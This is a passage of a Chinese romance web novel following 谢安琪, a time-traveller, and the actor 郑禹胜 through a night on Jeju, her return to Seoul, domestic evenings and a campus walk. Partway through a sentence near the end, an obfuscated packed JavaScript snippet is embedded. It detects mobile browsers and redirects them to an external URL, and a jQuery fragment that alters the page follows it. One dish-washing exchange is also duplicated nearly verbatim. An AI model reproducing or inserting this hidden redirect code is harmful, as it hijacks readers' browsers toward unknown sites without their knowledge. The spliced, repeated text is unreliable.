谢安琪走出摄影棚的时候，济州岛的风吹得她头发轻轻扬起，项目结束的比想象中要快。但项目的内容也比想象中容易，所以谢安琪提前结束了最后一组拍摄，她没有叫车，自己一个人离开了现场，慢悠地走着，她背着帆布包，一个人沿着海边的小路慢慢走。
天还没完全黑，但街边的灯已经亮了起来，像是一串串温柔的引路灯，往前延伸到看不见的远处。谢安琪把手机揣在兜里，没有打开音乐，也没有回复任何人的消息。她只是听着海浪拍打石岸的声音，步子不快，心里像是被风吹出一条缝，潮湿又空旷。
她走到一段偏僻的木栈道上，看到几个年轻情侣坐在露营椅上，边喝啤酒边笑闹；有人带着狗散步；还有人干脆躺在沙滩上看星星。那些热闹的声音，和她的安静像是并行的两条线。
谢安琪忽然想起圣水那晚，郑禹胜站在烤肉店门口等她，帽檐压得很低，但目光依旧透过人群，落在她身上。再想起更早的时候，她从另一个时间线醒来，看着他二十几岁稚嫩的笑容，不知道他未来会不会也笑着等她。
谢安琪蹲下来，手指捏起一小把细沙，松开时被风吹散，就算一直在来回的时间线里奔跑，她始终没能确定，哪一条是他们最终会重逢的路。谢安琪觉得自己有点奇怪，时而犹豫时而豁达，似乎对自己的现状已经接受又没有完全接受。
往前走没有多远就是一个便利店，谢安琪往前走了几分钟推门进去，她在便利店买了一个紫菜饭卷，走到沙滩边找了块礁石坐下。海浪声间或传来，一阵高一阵低，配着沙沙的风声，仿佛整个世界都在呼吸。
她慢慢剥开包装，咬了一口，米饭冰凉，却有一丝莫名的安心。她抬头，看到天边挂着一颗很亮的星，孤独地嵌在深蓝色幕布上。
手机震了一下。谢安琪掏出来，看见界面上只有一条推广广告，没有别的消息。谢安琪把手机重新揣进口袋，低声说了一句：“没关系，我自己也能一个人吃完。”就算有些夜晚只有她自己，她也想试着为自己停留下来，而不是只为了找回某个人而一次次跳跃。
但最后谢安琪还是忍不住拿出手机，给郑禹胜发了一条信息，【我在看星星。】
这条信息发出去后，她没指望能立刻收到回复。以前她会期待，一条我也在看或者带我一起会很快弹出来。
可现在，她只是想告诉他，不管他在哪个剧组、哪条时间线，她都在想他。谢安琪收起手机，继续吃着饭卷，身后的风把她的发尾吹得有些凌乱。那种安静中夹杂的微妙等待，让她感到既柔软又脆弱。有那么一瞬间，她觉得，或许无论她在哪，他都能感应到她抬头望向天空的那一刻。
回到酒店时，谢安琪发现房门口放着一个纸袋，里面装着一小袋新鲜水果，旁边还有一瓶牛奶。她愣了几秒，才看见袋子上夹着一张小卡片：【收工辛苦了，早点休息。—— 郑】
那一瞬间，谢安琪几乎有点鼻酸。她抱着那袋水果走进房间，放到桌上，转身去倒热水。其实谢安琪也不知道他是什么时候托人送来的，也不清楚他是不是早就预料到她会一个人走很久、回来的时候需要一点补给。
可就是这种不必言说、只需要一个小动作的默契，让她感觉到从未有过的安心。那晚，她坐在床边吃了几颗葡萄，嘴里全是凉甜的汁水，心里却很暖。
……
她泡了一杯热柠檬水，坐在床边，看着水面漂浮的薄片柠檬。灯光落在杯壁，映出一圈淡淡的月亮形倒影。她抿了一口，酸味冲得人有点清醒。
这酸意让她想到很多以前的事：在首尔租的小屋里，窗外吵闹到凌晨的车声；和他第一次一起回家的那夜，她蹲在浴室哭，怕他听见，只开了水声。
而现在，谢安琪可以一个人坐在陌生的酒店房间里，安安静静地想他，喝着热水，不再躲避、不再怀疑。那种自然而然的心安，是她这些年最奢侈的东西。她抬头看向窗外，夜空还是只有那一颗孤独的星。
但今天，她觉得它不再让人害怕。夜里，她裹着酒店的白色浴袍，靠在床头翻手机。翻到他的一条旧采访视频，弹幕上全是“太帅了”“好温柔”“他的眼神太会说话了”。
她看了几秒，就点了暂停。那一瞬间，她突然意识到，自己其实从来不是他的观众。那些横跨时间缝隙的片段，她一度以为是她的独家记忆，是她守着的秘密。
可再看现在的郑禹胜，他把所有人都照亮，却只把心底的一盏灯留给了她，她躺下来，脑子里浮现出过去所有相遇的细节，心里酸胀，却忍不住笑了。也许，他们都在各自的时间里，默默走过了无数回头路，只为了今天这一刻的靠近。
想到这，谢安琪又一次拿起手机，界面停在他那条聊天窗口，光标闪烁。她轻轻点了录音键，却在录了三秒后松开。那段语音里只有她微弱的呼吸声。她没有点发送，只是盯着那个小小的音波曲线看了一会儿，最终按了删除。有些话，她想说，却觉得不需要说。
因为他会懂。而谢安琪也终于学会了，这种未发出的心跳，有时候才是最完整的爱。她把手机丢在枕边，盖上被子，闭上眼睛。谢安琪想象着明天回首尔的飞机上，或者在公司大门口，甚至只是家里的厨房，她见到他的样子。
他会装作冷淡地问，“回来了吗”，却会接过她的包，轻轻摸她头发。也许他不会问她在济州岛做了什么，吃了什么，见了什么人。但她知道，他一定记得她说过不喜欢一个人看夜空。
想到这里，她心口忽然涌上一阵温热，吃完水果后，她穿上外套，又忍不住出了门。
酒店门口灯光温暖，但小路空旷。她沿着那条小路慢慢走，又一次走到海岸边的一家24小时便利店前停住。便利店里只有一个店员，靠在收银台看书，偶尔抬头瞄一眼监控器，看着街口稀稀拉拉的游客。
谢安琪没有进去，只是倚在灯箱广告旁，看着自动门一开一合。是因为还在思考想要买什么吗？其实不是，谢安琪只是想起很多年前在首尔冬天的夜里，她也曾一个人站在便利店外，为了给临时回国的朋友准备机上零食，买完后在便利店附近硬生生等了半小时。
那时的她还以为，等待是件浪漫的事，后来才知道，最浪漫的等待，其实是有人知道你在等，最后也一定会来。现在，便利店门开了又关，她没等谁，只是突然很想一个人站在那里，呼吸这微凉的咸湿空气。
她抬头看见玻璃门倒影里的自己，头发有点凌乱，眼睛被风吹得有点干，嘴角却微微向上。
谢安琪继续往前走，鞋底和地面摩擦发出轻轻的“吱呀”声，像是给寂静夜里加了一个伴奏。
她走到海边栏杆，手扶在冰凉的铁栏上，深呼吸了一口，“如果这一刻能定格，就好了。”谢安琪小声对自己说。
这倒不是完全对谁说的事情，也不是等回答。这一句只是想对自己确认，她还在，不是在过去，也不是在未来，是现在。
海风呼啸过来，把她的话卷走了，谢安琪忽然意识到，原来这么多年，所有的奔走、所有的来回，其实都是在找一个能让她说我想停下来的地方。
而现在，她站在这一条安静的海岸线上，终于敢对自己说：别再逃跑了，谢安琪走到一个观景台，那里有一排挂着的装饰灯，小小的球形灯泡，随风轻轻晃动。
有一瞬间，她觉得那排灯就像一串被他递过来的糖，闪着温柔的光。她停下脚步，抬头看了一会儿。有人在台阶另一侧弹吉他，断断续续的旋律飘过来。路灯下有情侣在合影，有背包客坐着写明信片。
她悄悄从包里掏出一张小便签，写下了一句，“夜里太空，靠一颗心亮着。”写完，她把那张纸折成四方，塞进包里。那是她不打算寄出的明信片，或者说，是她写给未来自己的纸条。谢安琪也不知道未来的她，会不会还记得这条夜路、这盏灯、这颗心。但至少现在，她记得。
当她准备离开时，一个陌生的阿姨递给她一罐温牛奶，说：“夜里走路别喝冷的。”
谢安琪一愣，反应了几秒才接过来，连忙说：“谢谢。”
那人摆摆手，转身走了，牛奶外壳有一层水汽，谢安琪握着，指尖被温度烫得有些酸痛，却舍不得放开，她低头笑了一下，轻声说：“原来不只是他，偶尔也会有人替夜晚照亮一点。”
她抱着那罐牛奶，一步一步往回走。背影被街灯拉得很长，像一条白色丝带，安静地贴在夜色里。回到酒店时，她终于打开手机，看了一眼刚才那条“我在看星星”的信息，仍然没有回复。
但谢安琪不再觉得失落，她拧开那罐温牛奶，喝了一口，心里软软的。她靠在窗边，夜里港口的灯一点点熄灭，只剩下几个红色的航标灯在远处微闪。
她轻声说了一句，几乎只听得见自己的呼吸声，“今晚，你是不是也看见我的影子了？”
然后她把牛奶放在窗台，悄悄地自言自语，“如果有一天，我不再离开，也请你别再等我了。”
那一刻，她才意识到，原来所谓走到尽头的路，不是为了遇见谁，而是为了遇见已经学会不再回头的自己。
谢安琪翻了个身，缩在被子里，感觉到一丝轻微的困意，在那种安全感里，她不再需要任何确认。她快要睡着时，手机屏幕亮了一下，她迷迷糊糊拿过来看，是他的回复，我在看你的星星。
短短一句话，几乎没有标点，她盯着那行字，眼泪差点涌出来，又忍住，只是用被子捂住半张脸，轻轻笑了。这一瞬间，她觉得自己比任何时候都更坚定。因为就算时间再错位，世界再嘈杂，他们都已经在对方心底种下一颗比星星还亮的心。
那一夜，她睡得很深，梦里没有时间缝隙，没有倒带，也没有消失。只有一条长长的路，尽头亮着微光，像有人在远处等她。
她醒来的时候，天已经亮了。
酒店的窗帘半掩着，外面的天空灰蓝，海浪声隔着玻璃传进来，像谁在屋外轻轻敲门，谢安琪揉了揉眼睛，第一反应是摸手机，屏幕一亮，还有一条凌晨四点多收到的新的回复，就在【我在看你的星星】后面，
【我看见你了，安琪。】
只有八个字，却让她整个人安静下来，心底一阵柔软扩散开，谢安琪反复读了好几遍，才把手机抱到胸口，轻轻呼了一口气。她甚至可以想象出，他发这条消息时坐在车里，半夜还没卸完戏妆，额发有点乱，灯光从侧脸掠过的样子。
她翻了个身，忽然点开通话界面，指尖悬在拨出按钮上。谢安琪想了几秒，还是按了下去，电话只响了两声，他就接了。
“醒了？”郑禹胜声音低哑，带着刚起床的慵懒。
“嗯。”
“昨晚……没等到我吧？”
“没关系，我没有很困。”
那边笑了一声：“骗人。”
她没接话，手机贴在耳边，听他轻轻呼吸的声音。
“你现在在哪？”他问。
“酒店。”
“什么时候回来？”
“今天下午的飞机。”
“我去接你。”
她下意识想说“不用”，但话到嘴边，又咽了回去。
她只是轻轻“嗯”了一声。
他们都没挂电话，仿佛都在等对方先说点什么，却又舍不得切断这根线，过了很久，谢安琪终于开口，声音很小。
“那我可以问一个问题吗？”
“可以。”
“假如我是时间旅行者，我们在不同的时间线见过，但有一天，我不再回过去了……就是，我只停留在这条时间线上，你会不会觉得，这样的我就不完整了？”
对面沉默了一瞬。
“为什么会这么问？”
“我只是在想，也许你更喜欢那个总是会消失的我。”
郑禹胜叹了一口气，像是在自嘲地笑，“安琪，我从来没喜欢过你消失。”
她屏住呼吸，指尖几乎攥紧了床单。
“我一直都在等你停下来，”他说，“就算这条线不是最完整的，也不重要。”
“因为对我来说，你完整的样子，不是你能回多少次过去，而是”他停了一下，声音低得几乎听不清，“而是你愿意走进我生活里的样子。”
谢安琪本能地想说“对不起”，可这一次，她忍住了。
在谢安琪还没有完全闭合的时间旅行记忆里，她总是把对不起当成离开的借口，当成某种安全气囊，但现在，她知道，那三个字才是真正伤人的东西，所以她只是静静听着，不去解释，不去后退。
“你知道吗，”他说，“如果真的能时间旅行，我觉得你可能是和过去的自己讲和。我不知道我能不能变成你停下来的理由，但我愿意等。”
谢安琪闭着眼，眼尾却有点湿。
手机另一边的呼吸声还在，连同那句“我愿意等”，轻轻敲在她心上，电话那头，郑禹胜忽然转回平静的语气：“那我今天给你做什么？”
“啊？”
“晚餐啊，你不是要回来吗？”
她愣住，半晌才笑了：“你会做什么？”
“我还在研究。”
“那……不管你做什么，我都吃。”
“真的？”
“嗯。”
“那我准备一下，今天早点回家。”
她听着，轻轻笑了一声，心里莫名像被什么拉住，微微发热。
“那我今天回去，晚餐还等我吗？”她低声问。
“等。”
电话那边，他回答得很快，几乎没有思考，那一瞬间，她心底的重石像突然融化，涌上来的全是热意。
“好。”她轻声说。
“嗯。”
两人谁都没先挂断，谢安琪把手机慢慢放到枕边，侧着脸贴着被子，眼睛望着窗外开始明亮起来的海面。她忽然觉得，未来无论走到哪里，那个一直等她回去吃饭的人，就是她这条线里最真实、最温柔的底色。而这一刻，她不再只是一个来来回回的梦中人，而是那个终于愿意停留、愿意说“好”的谢安琪。
……
飞机落地的时候，谢安琪看着窗外的跑道，天刚好是一种淡灰色，偶尔闪过一束冷光。她下了飞机，走到到达口时，看到郑禹胜穿着黑色风衣，戴着棒球帽，靠在隔栏旁。
郑禹胜没有举牌，也没有张望，只是低头看手机，但谢安琪知道，他在等她。她推着小行李箱走过去，离他还有两三步，他抬起头，眼里那种确认过的笑意，藏都藏不住。谢安琪忍住想冲过去的冲动，只是轻轻扬了下手：“我回来了。”
“嗯。”他伸手接过她的行李，声音低下来，“辛苦了。”
“没有。”她摇头，“我有好好吃饭，有好好睡觉。”
郑禹胜没再说话，只是替她整理好行李带，步子放得很慢。那一刻，她意识到，她走过那么多路，回过那么多时间线，最后都落在了这个机场出口，这个男人面前。
回到大平层时，门口那盆薄荷被修剪得很整齐，几片嫩叶在阳光下晃着，谢安琪把鞋脱下来，刚想弯腰给薄荷浇水，郑禹胜按住她手。
“我来。”
“你什么时候变得这么细心了？”她有点意外地笑。
“你不在的时候，屋子里安静得很，只能跟它说话。”
“它听得懂吗？”
“它长得挺好，应该懂吧。”
谢安琪看着他小心倒水的样子，忽然鼻子发酸，一个人变细心，有时候并不是因为突然学会了什么，而是因为怕失去。而郑禹胜，已经开始在这个空间里，为她一点一点地留下细节。
她伸手摸了摸那片新叶，轻声说：“谢谢你，陪它，也等我。”吃午饭的时候，他们坐在长桌两端，中间铺着浅色餐布，餐具摆得很规整。郑禹胜把一个小纸条推到她面前，上面只写了两个字：以后，郑禹胜看着那两个字，心脏突然有种“被撞了一下”的感觉。
“什么意思？”
“以前你总是说以后是很空的词。”他慢慢开口，“我今天写下它，是因为我想让它不空。”她低头，指尖轻轻滑过那两个字，“那你想要什么样的以后？”谢安琪继续问。
“没有什么大事，也不需要多特别。”他认真地说，“只是有人等我回家，有人陪我吃饭，有人会在我出门前提醒我带伞。”她鼻尖发酸，却故作平静地说：“听起来很普通啊。”
“对，很普通。”他看着她，目光很坚定，“但只要是跟你，就是我唯一想要的‘以后’。”
晚饭准备的时候，郑禹胜亲自下厨，谢安琪本来想帮忙，但他把她推到餐桌前，像赶小动物一样摆手：“等着吃就好。”
谢安琪看着他在厨房里手忙脚乱地打蛋，面条被煮得快要糊成一团，蛋花浮在汤面上，颜色乱七八糟，她忍不住笑得眼泪都出来。
“你笑什么？”他端着碗回头，表情却很真诚。
“我只是……没想到，你也有这么狼狈的一面。”
“你是想说，我不适合厨房？”
“不是。”她摇头，“我想说，谢谢你，愿意在厨房里为我手忙脚乱一次。”
郑禹胜愣了几秒，忽然也笑了，他把碗放到她面前，坐到她对面，看着她小心夹起那团乱糊的面，认真吃下，而这会对面而坐，像某个剧本里早就写好的桥段，但这不是演戏，而是真实生活。
吃完饭后，两人一起洗碗，水声淅淅，泡沫在他指尖慢慢溢开，她拿着毛巾擦碗，动作慢吞吞的，像在拖延时间。
“你知道吗……”谢安琪轻声开口，“其实，我有时候会怕。”
“怕什么？”
“怕有一天，我停下来，你会后悔。”
“安琪。”郑禹胜停住动作，抬头看她。
“嗯？”
“我只怕一件事。”
“什么？”
“你后悔停下来。”她张着嘴，却没说出声音。
泡沫从指间滑落，水声依旧，窗外的天已经完全暗下。他们对望的那一刻，比任何台词都要真实。厨房灯还亮着，谢安琪转身将最后一只碗放到沥水架上，慢慢擦手。
郑禹胜走到她背后，动作很轻地帮她理了下头发。她靠着台面，没有转身，只是看着前方，声音很小地问了一句，“如果有一天，我只能选一条线停下来，你希望是哪条？”
“你现在在的这条。”
“如果这条不是最好看的，也不是最完整的呢？”
“那也选它。”
她终于转过身，抬头看着他，眼里有光也有水汽。
“为什么？”
“因为有你。”他说，“我不需要它是最好，只需要它有你。”
她深吸了一口气，低低地笑了一声，肩膀微微抖。那笑声里，有释放，也有微弱的害怕。
……
洗衣机在运转，发出规律的咕噜声，客厅昏黄的落地灯还开着，桌上有两杯泡好的花草茶，香气淡淡。
“以后你想住在哪里？”谢安琪忽然问，似乎是计划着未来或许有一种不一样的分支。
“你在哪，我就在哪。”郑禹胜坐在她对面，认真地回答。
“真没想过别的？”
“没必要。” 她低头看着桌上的茶杯，指尖摩挲杯沿，“如果以后我想搬去乡下，开一家很小的书店呢？”
“那我就把剧本带过去，在书店里写。”
“你甘心吗？”
“只要有你，就甘心。”她看着他，目光像是要把这人刻进骨子里。
“你是不是很会说情话？”
“我不是说情话，我是在说我想过的未来。”
洗衣机的声音慢慢静下来，屋里只剩他们两个的呼吸声。那种安静，比任何告白都更有重量，她把洗好的衣服拿出来，准备晾干，刚才的话题也没有再继续了，郑禹胜从后面走过来，接过一件衬衫，熟练地抖开。
“我来帮你。”
“好啊。”
她看着他一边抖衣服一边认真对齐肩线，忍不住笑了。
“你有必要这么认真吗？”
“这件是我平常拍摄要用的。”他抬头看她，“但如果以后不演戏了，这件也只会在家里穿。”
她愣住，衬衫在他指间晃了一下，像是漂浮的某种可能性。
“如果你以后不演戏了，你会后悔吗？”
“不。”
“那观众会不会失望？”
“我不演给观众，我是为了你。”
这一句话落下，她几乎感觉到胸口有一团热流缓缓散开，收拾完后，她坐到书桌前整理文件郑禹胜端着一杯温水走过来，顺手在她桌边放了一张便签，她看了一眼，上面只写了简短几行字，“我会陪你去看每一个展览，吃每一个想尝试的甜品，写每一个你想看到的结局。”
她愣着看了几秒，缓慢抬头，郑禹胜没有退开，只是站在那里，静静看着她，那是一种很安静、很坚定的靠近，像是下定了什么决心。
“以后，我不会再让你一个人去任何地方。”他说。
谢安琪鼻尖发热，想开口，却什么也说不出来，谢安琪伸手，轻轻把那张便签拿起来，看了好一会。然后，她慢慢对折，再对折，直到变成只有指甲盖大的小块，她握在手里，手心有些潮湿，纸张的边角被捏软。
“我收下了。”她低声说，郑禹胜轻轻呼出一口气，嘴角微微上扬。
“以后，不用再跟我确认答案。”谢安琪继续说，声音细而坚定，“因为我已经准备好，把你写进我的以后里了。”郑禹胜看着她，那一刻眼里不再有任何迟疑。
只有一整片安静而汹涌的海，客厅的灯光已经被调到最暗，只剩下一盏小台灯的暖光映在桌面。谢安琪把那张被折得很小的便签放进笔记本里，抬起头时，发现郑禹胜还站在原地，目光没有移开。
“你还在想什么？”她问。
“在想……以后。”
“什么样的以后？”
“以后我们也可以吵架。”他说，声音里有一点小心翼翼，“我不会再害怕争吵，也不会因为怕失去你就退让所有。”谢安琪愣了一下，随即笑了。
“你什么时候变得这么勇敢了？”
“是你教我的。”他轻声回答。
谢安琪走过去，停在他面前，伸手摸了摸郑禹胜的脸。
“那以后如果吵架，你要先来哄我。”
“好。”
“每次都要先。”
“每次都先。”
那种认真到几乎显得笨拙的答应，像是未来的某个契约，被悄悄写进他们之间，晚饭吃完后，郑禹胜去厨房收拾剩下的餐具，谢安琪靠在门边看他，那盏小小的厨房灯，光圈落在他肩上，映出清晰又柔和的影子。
“这灯好像很适合写剧本的光。”她突然说。
“是吗？”他偏头看她。
“如果以后你不演戏，写剧本也可以啊。”
“写什么？”
“写我们啊。”
郑禹胜愣了几秒，眼神忽然变得很亮。
“写我们走夜路，写我们在便利店选饮料，写我们为了一碗面吵架。”
“听起来很无聊。”他笑着说。
“可我喜欢。”她说，“我喜欢这些很无聊的小事，也喜欢被写进去的你。”
那一瞬间，厨房的灯不再只是灯，它像是他们生活里的心灯，亮着的时候，代表有人等你回家，谢安琪走过去，把他刚洗好的碗一只只放进橱柜，郑禹胜在她旁边帮忙擦碗，动作慢而仔细，她忽然开口：“刚才那张便签，我可以加一句吗？”
“可以。”
“以后，就算你有一天不想演戏、不想出门，也都可以。”
“嗯。”
“但唯一不可以的，是不想见我。”
郑禹胜停住动作，看着她，眼神温得像一杯刚煮好的牛奶。
“我不会。”他说，“我永远都想见你。”
厨房的水声依旧，但两人之间那种软绵的张力，却让整个空间都安静下来，她把最后一只碗收好，悄悄笑了一下，像是给未来留下一句注脚，谢安琪走过去，把他刚洗好的碗一只只放进橱柜。郑禹胜在她旁边帮忙擦碗，动作慢而仔细，她忽然开口：“刚才那张便签，我可以加一句吗？”
“可以。”
“以后，就算你有一天不想演戏、不想出门，也都可以。”
“嗯。”
“但唯一不可以的，是不想见我。”郑禹胜停住动作，看着她，眼神温得像一杯刚加热好的牛奶，带着一种新的滋味。
“我不会。”他说，“我永远都想见你。”收拾完后，他们坐到客厅，桌上各放着一杯水，她轻轻碰了碰杯口：“干杯。”
“现在干杯？”
“庆祝啊。”
“庆祝什么？”
“庆祝我们终于把以后说出口了。”
他愣了一下，随即笑着也举起杯子，和她轻轻碰了一下，那一声脆响很轻，却敲进了两个人心里。她喝了一口，抬头看着他，突然问：“如果有一天，我们都老了，头发白了，你还会想见我吗？”
“会。”
“还会陪我喝水吗？”
“会。”
“还会记得今晚这盏灯吗？”
“会。”
她看着他，那些未说出口的担忧、害怕、时间错位的影子，似乎都在这一连串会里被缓缓溶解了。夜更深了，郑禹胜站起来，把她的水杯拿去厨房，回来时，她已经倚在沙发上，眼睛半眯着。
他轻轻把她抱起来，往卧室走，谢安琪靠在他肩上，声音软到几乎听不见：“我其实一直怕，有一天你会选择别的时间线，不再等我。”
“我不会。”
“如果那一天真的来了，我希望，所有的时间线都能等到你。”
“我也希望，无论哪一条线，最后都能走到你这里。”
她没有再说话，只是把脸埋进他颈窝，深深呼吸了一口，那一刻，所有他们曾经来来回回错过的时间、犹豫、回避，都变成了一种无声的允诺，贴在彼此的脉搏上。未来会怎样，他们都不知道，但此刻，他们选择了一起去走。
……
卧室灯很暗，只亮着一盏小台灯，郑禹胜把她轻轻放在床上，准备起身去关窗，她却伸手拉住了他。
“怎么了？”他低头看她。
“以后也要这样抱着我回房间，好不好？”
他笑了，俯身捏了捏她的脸：“好。”
谢安琪像小猫一样往床里缩了缩，把被子拉高，露出一双清亮的眼睛看着他，那一刻，她像一个终于找到了庇护所的人，安心而带点撒娇的脆弱。
“你别笑啊，我是认真的。”
“我知道。”他坐到床边，顺着她的头发一点一点摸下去，像在安抚一只易惊的小兽。
“好，以后每天都抱你进房间。”
她终于放开了他的手，安心闭上眼，灯被关上的瞬间，郑禹胜坐在床沿，没有立刻躺下。他低头，看着掌心，忽然发现，指尖还残留着她头发的柔软感，其实，郑禹胜也有怕，怕哪天她再次醒来，就又跑到另一个时间里，怕她再一次离开，却不再回来，怕她哪天回忆起的，是某个更年轻、更温柔、更完美的自己，而不是这个有些疲惫、甚至会煮糊面条的郑禹胜。
但这些话，他没说，因为他知道，她现在已经在这里，已经选择和他走同一条线，比起说出害怕，他更想用每一个平常的动作告诉她：“我在这里。”
……
凌晨四点，谢安琪醒了一次，她微微睁眼，看见窗外天刚泛出一点青白。郑禹胜的手臂搭在她腰上，呼吸均匀，额发有些湿，像是做过什么梦。她慢慢挪了下，想要翻身，却被他下意识收紧了一下。
“别动……”他含糊地说，声音低哑，带着未醒的困意。
她轻轻笑了，重新贴近他，脸贴到他胸口，那个瞬间，她听见他心跳很慢，却很坚定。谢安琪在想，也许这就是她想停留下来的理由。无论多少时间线，无论多少种可能，只要有这个在凌晨四点还能被他拉回怀里的片刻，就足够了。
清晨醒来的时候，屋子里已经有轻微的动静，谢安琪坐起来，头发有些乱，房间里透着面包机的香气。她赤脚走到厨房，看到郑禹胜正把热牛奶倒进她常用的那只杯子，桌上还放着两片烤好的吐司。
“醒啦？”他回头笑着问。
“嗯。”她揉揉眼睛，“你怎么起这么早？”
“今天有剧本会，但我想先陪你吃完早餐。”她愣了愣，走过去，环住他的腰。
“谢谢你。”
郑禹胜没说话，只是把杯子递到她手上，她接过来，喝了一口，热气涌上舌尖，也涌到心口，她吃完面包，准备去洗漱时，回头看见桌上的那张以后便签还在。郑禹胜走过来，轻轻按住那张纸，说：“我一直想把这张便签贴在冰箱门上。”
“那你就贴啊。”
“我怕你嫌丑。”
她笑着摇头，把纸拿起来，自己走去冰箱，贴在了正中间。
“以后，就贴这里。”
郑禹胜在她背后伸手，搂住谢安琪，那一刻，她忽然感觉，所有未来的纠结与不确定都被这一个简单的动作安抚住，她闭着眼，轻声说：“那我们，就从今天开始，一直写以后吧。”
他把脸埋在她颈侧，声音低而坚定：“好，从今天，也从每一个现在。”
……
首尔的气温带着轻微的凉意，谢安琪一只手提着资料袋，另一只手拉着郑禹胜，两人一起走进校园南门。这不是他们第一次来，但却是第一次光明正大地并肩走着。偶尔有学生路过，会抬头看他们，眼里写着好像在哪里见过，有人眼里写着这人长的真像郑禹胜，但没人真的敢开口。
“好久没来学校了。”谢安琪吸了一口风，鼻尖微凉。
“想这里吗？”
“有一点。”她点头，脚步轻快，“可也想快点毕业。”
“毕业后呢？”
“毕业后……先找个咖啡馆打工，或者回家写点东西。”
郑禹胜笑了：“我会来帮你打杂。”
她抬头看他，眯着眼：“那我要付你多少时薪？”
“你给个拥抱就行。”办完资料手续后，两人走到图书馆门口。
谢安琪拿出学生证刷门，带他进去，指了指最里面的角落。
“那边有一排老式木椅，我之前常在那睡觉。”
郑禹胜跟着她走进去，果然看到最深处的长椅，木纹被无数次摩擦打磨得发亮，她放下包，整个人一屁股坐下去，抬头看他：“你要不要也试试？”
他笑着坐到她身边，靠着椅背，闭上眼，“感觉怎么样？”
“很像剧组的等戏时间。”
“你怎么哪都能想到剧组？”
“因为以前我只在那里停留。”他侧过脸，看着她，“但现在，我想在这里多坐一会儿。”
谢安琪盯着他，忽然有种恍惚感，好像终于把郑禹胜拉进了她的世界，而不是谢安琪一直跑到他的时间线里。从图书馆出来后，她带他走进美术楼前的旧走廊，墙上贴满了历年展览和社团演出的海报，颜色缤纷，边缘早已卷曲，谢安琪抬手摸了一张已经褪色的音乐会海报，手指轻轻顺着上面的裂痕划过。
“这张是我大一时贴的。”她回忆道，“那时候以为世界会永远保持这样，海报、青春、喜欢的人都不会变。”
“然后呢？”
“然后都变了。”她笑了笑，“但我现在不怕了。”
“为什么？”
谢安琪收回手，回头看他，眼神清亮：“因为我学会了，不管变成什么样，只要我还在，就算只被记住一瞬，也没关系。”
那句话轻飘飘，却像一根钩子，精准地勾住了他的心口，再往前走，是几间老旧教室，有一扇窗户开着，风吹进来，带着校园特有的清凉，谢安琪随意走到一张课桌前，低头看了一眼桌面，那上面被人用刀尖刻着一行字，“等风来，不如追风去。” 她抿着唇，轻声念了出来，“以前，我总以为要等。”她轻轻用指尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840138|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抚摸那句字，“等机会，等答案，等未来变得更好。”
“但现在呢？”郑禹胜靠在门边问。
“现在，我想追。”她抬头，目光坚定，“哪怕结果不一样，也比一直等来得更真实。”
郑禹胜没有回答，只是走过来，把手放在她肩上，力道轻得像一阵风，两人的影子在地上重叠，窗外阳光透过绿叶，碎碎地洒在脚边。校园最外面是一条环形跑道，草坪被秋风扫出一条条颜色渐深的线。
两人沿着跑道缓慢走着，谢安琪深吸一口气，觉得胸腔被填满了风，轻而自由。她突然停下脚步，扭头看他：“如果有一天，我再也不回到过去，也不再回任何一条时间线，你还会选我吗？”
郑禹胜愣住了，风吹乱她的头发，遮住了部分表情，但她的眼神还是那么清澈，像是要直直看进他的心底。过了很久，他伸手，轻轻把她的发丝拨到耳后，靠近她，声音几乎是呼吸，“我不只是选你，或许我是为你而生的。”
谢安琪笑了，笑得很缓很轻，但眼尾却微微湿润，她握住他的手，点了点头，“那走吧。”她说，“我们一起走回去。”
走出校门的时候，天已经完全暗下来，路边卖炭烤鸡肉串的摊子灯光昏黄，几张塑料桌凳上坐着零散的学生，热气在夜里一圈圈蒸腾，谢安琪看了一眼，忽然停下。
“想吃吗？”郑禹胜问。
“嗯，想。”她有点不好意思地笑，“好久没在外面吃夜宵了。”
“那就吃。”
两人坐在最角落的位置，老板送上来两碗简简单单的调料炭烤鸡肉串，她闻着熟悉的香气，忽然觉得，仿佛一瞬间又回到了大学时期，所有琐碎和不安都被夜里的熟食包裹了，郑禹胜抬头看她，笑着说：“你吃的时候表情比平时幸福一百倍。”
“哪有。”她小声反驳，却又忍不住笑得眼睛弯起来。
他看着她，眼神里藏着只有她能读懂的柔软，谢安琪吃到一半，忽然停下筷子，抬头看他，“好像又回到从前。”她轻声说，“那时候觉得，未来什么都可以等着来，但其实很多东西，如果没有把握，就会错过。”
“比如什么？”
“比如人。”谢安琪低头笑了笑，“比如，那个总是让我想先跑到他面前的人。”
郑禹胜没立刻回答，只是伸手替她把脸颊上的一根发丝拨开。
“你现在，不用再跑。”他说。
“嗯。”她点头，鼻尖发红。
“因为我也会跑过来找你。”郑禹胜说完，轻轻握住了她的手，周围有人在笑，有人干杯，远处有人在吆喝，但那一刻，他们的世界里只有彼此。吃完后，郑禹胜坚持要付钱，她也没有再推让，走出摊子，夜风更凉了些，她把围巾往上拉了拉。
“冷吗？”他问。
“有一点。”
“那快点走。”
“你走太快，我跟不上。”
“那我慢一点。”
郑禹胜说完，真的放缓了步子，甚至把手递过去，像是要牵她，却又不完全握住，谢安琪看着他的侧脸，忽然发现，他其实一直都在学着怎么靠近，学着怎么变成一个可以被依赖的人，谢安琪也把手伸过去，和他十指相扣。
“这样就不怕冷了。”谢安琪小声说。
“嗯。”他低低应了一声，握得更紧，快到家门口时，谢安琪停下脚步，望着楼上亮着的灯。
“怎么了？”郑禹胜也停住。
“刚刚在鸡肉串摊子，我其实差点说一句话。”谢安琪侧过脸看郑禹胜，语气很轻。
“什么？”
“我想说，我现在好像不再害怕留下来了。”郑禹胜呼吸一顿，眼神慢慢变得温热。
“真的吗？”
“嗯。”谢安琪点头，眼底泛着光，“以前我总觉得，停留意味着束缚。但现在我明白，有些停留，是因为想被一个人看见、被一个人记住。”
“那你呢，想被我记住吗？”
